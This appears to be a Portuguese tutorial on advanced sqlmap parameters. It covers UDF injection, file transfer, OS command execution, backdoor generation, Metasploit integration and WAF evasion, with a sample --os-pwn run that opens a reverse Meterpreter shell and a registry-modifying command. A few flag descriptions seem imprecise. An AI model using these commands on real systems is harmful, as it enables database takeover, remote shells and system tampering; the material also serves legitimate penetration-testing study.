Técnicas Avançadas e Parâmetros de Configuração no SQLmap

Injeção de Funções Definidas pelo Usuário (UDF)

Através das opções --udf-inject e --shared-lib, é possível compilar e injetar rotinas personalizadas diretamente no banco de dados. O utilitário compila as funções solicitadas, realiza o upload da biblioteca compartilhada (.so para Linux/Unix ou .dll para Windows) e registra os manipuladores no SGBD. Após a execução dos testes, o processo remove automaticamente os artefatos criados para evitar rastros no ambiente alvo.

Manipulação de Sistema de Arquivos e Execução de Comandos

Leitura e Gravação Remota

Os parâmetros --file-read, --file-write e --file-dest permitem transferir dados entre a máquina atacante e o servidor de banco de dados. Essa funcionalidade opera nos principais SGBDs (MySQL, PostgreSQL e Microsoft SQL Server) desde que o usuário da conexão possua privilégios de sistema ou funções nativas habilitadas. O mecanismo suporta tanto arquivos de texto quanto binários, calculando automaticamente o offset e o chunk size durante a extração.

Execução de Instruções no Sistema Operacional

Utilizando --os-cmd ou --os-shell, a ferramenta executa payloads nativos no servidor hospedeiro. No MySQL e PostgreSQL, o processo carrega automaticamente binários contendo as UDFs sys_exec() e sys_eval(). Já no Microsoft SQL Server, o módulo ativa ou recria o procedimento armazenado xp_cmdshell, que costuma vir desabilitado por padrão nas versões 2005 em diante. A opção --os-shell ainda inicializa um pseudoterminal interativo.

Em cenários onde a injeção de múltiplas instruções é bloqueada (como aplicações ASP ou PHP conectadas ao MySQL), o sistema recorre ao operador INTO OUTFILE para depositar scripts executáveis em diretórios com permissão de escrita. Os backdoors são gerados nativamente para ASP, ASP.NET, JSP e PHP.

Exploração Avançada e Integração com Metasploit

As flags --os-pwn, --os-smbrelay, --os-bof e --priv-esc habilitam a criação de túneis TCP/ICMP e a entrega de payloads complexos via Metasploit. A geração do shellcode segue quatro vetores principais:

  • Execução em memória através da UDF sys_bineval(), disponível para MySQL e PostgreSQL.
  • Upload de um agente independente acionado por sys_exec() ou xp_cmdshell().
  • Relay de protocolo SMB (explorando CVE-2008-0675/0689) quando a conta do serviço possui privilégios elevados (root/Administrator).
  • Estouro de buffer na procedure sp_replwritetovarbin (MS09-004) nas instâncias 2000/2005 do SQL Server, permitindo execução em memória via --os-bof.
$ python sqlmap.py -u "http://10.10.50.22/api/v1/users?profile_id=88" --os-pwn --msf-path /opt/frameworks/msf
[INFO] Fingerprinting backend DBMS...
[INFO] Detected architecture: x86_64
[INFO] Back-end DBMS operating system: Linux (Debian)
[?] Select tunneling protocol:
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh tunnel
\> 1
[INFO] Verifying DBA privileges...
[INFO] Creating UDF 'sys_bineval' binary module...
[INFO] Generating multi-stage shellcode...
[?] Select payload delivery method:
[1] Memory execution via UDF (default)
[2] File-system stager
\> 1
[?] Connection direction:
[1] Reverse TCP (database connects to handler)
[2] Bind TCP (listen on target)
\> 1
[INFO] Handler listening on 10.0.0.5:39482
[INFO] Payload deployed successfully. Initializing session...
[INFO] Meterpreter session opened.
meterpreter > getuid
Server username: postgres @ debian-srv
meterpreter > sysinfo
Computer     : debian-srv
OS           : Debian 5.10 (Linux)
Architecture : x86_64
meterpreter > exit

Modificação do Registro do Windows

A manipulação de chaves de registro exige suporte a consultas empilhadas e permissões administrativas no banco. As opções --reg-read, --reg-add e --reg-del são acompanhadas por modificadores como --reg-key, --reg-value, --reg-data e --reg-type para especificar o caminho e o conteúdo da entrada.

$ python sqlmap.py -u "http://10.10.50.22/admin/config.aspx?module=main" --reg-add \
  --reg-key="HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\TestPolicy" \
  --reg-value="DebugFlag" --reg-type=REG_DWORD --reg-data="1"

Gerenciamento de Sessões e Logs

  • -s: Define o caminho para o arquivo SQLite que armazena o histórico e estado da injeção.
  • -t: Registra todas as requisições e respostas HTTP/HTTPS em um arquivo de texto plano.
  • --batch: Ativa modo não interativo, aceitando automaticamente as sugestões padrão do utilitário.
  • --charset: Sobrescreve a detecção automática de codificação (ex: --charset=UTF-8).
  • --crawl: Varre o diretório base do alvo seguindo links até uma profundidade definida, mapeando vetores em potencial.
  • --csv-del: Altera o delimitador padrão em extrações no formato CSV (ex: --csv-del="|").
  • --dbms-cred: Fornece credenciais válidas para elevar privilégios via funções específicas do SGBD, como OPENROWSET.
  • --dump-format: Configura a saída dos dados extraídos para CSV, HTML ou SQLITE.
  • --eta: Exibe estimativa de tempo restante e barra de progresso durante ataques de força bruta ou extração lenta.
  • --flush-session: Descarta caches anteriores para forçar uma nova verificação do alvo.
  • --forms: Analisa automaticamente formulários HTML na página alvo, extraindo e testando os campos POST.
  • --fresh-queries: Ignora resultados já armazenados no cache da sessão.
  • --hex: Codifica a saída via HEX() para evitar corrupção de caracteres durante a extração.
  • --output-dir: Redireciona a pasta padrão de salvamento de logs e sessões.
  • --parse-errors: Captura e interpreta mensagens de erro retornadas pelo banco de dados para acelerar a enumeração.

Otimização de Desempenho e Contorno de Proteções

  • -z: Permite abreviar múltiplas flags (ex: -z "bat,ign,flush,tec=EU").
  • --answers: Responde automaticamente a prompts interativos durante a execução (ex: --answers="extending=N").
  • --check-waf: Enviam payloads sinteticamente malformados para verificar se há filtragem ativa de tráfego.
  • --identify-waf: Realiza fingerprinting contra assinaturas conhecidas de firewalls de aplicação (suporta mais de 30 produtos, como Cloudflare, ModSecurity e Imperva).
  • --hpp: Aplica poluição de parâmetros HTTP, técnica eficaz para bypass em pilhas ASP/IIS e ASP.NET.
  • --mobile: Rotaciona o cabeçalho User-Agent para simular navegadores de dispositivos móveis, contornando validações de cliente.
  • --purge-output: Apaga recursivamente a pasta de resultados sobrescrevendo os blocos de disco com dados aleatórios antes da exclusão.
  • --smart: Aplica heurísticas rápidas para descartar parâmetros não dinâmicos, acelerando varreduras em grandes listas de URLs.
  • --cleanup: Remove temporariamente tabelas e funções criadas durante o teste de injeção.
  • --disable-coloring: Desativa a formatação ANSI nas saídas de terminal.
  • --wizard: Inicia um assistente guiado para configuração de parâmetros básicos, recomendado para operadores iniciantes.

Tags: sql-injection sqlmap-parameters database-exploitation metasploit-integration waf-evasion

Publicado em 8-16 19:01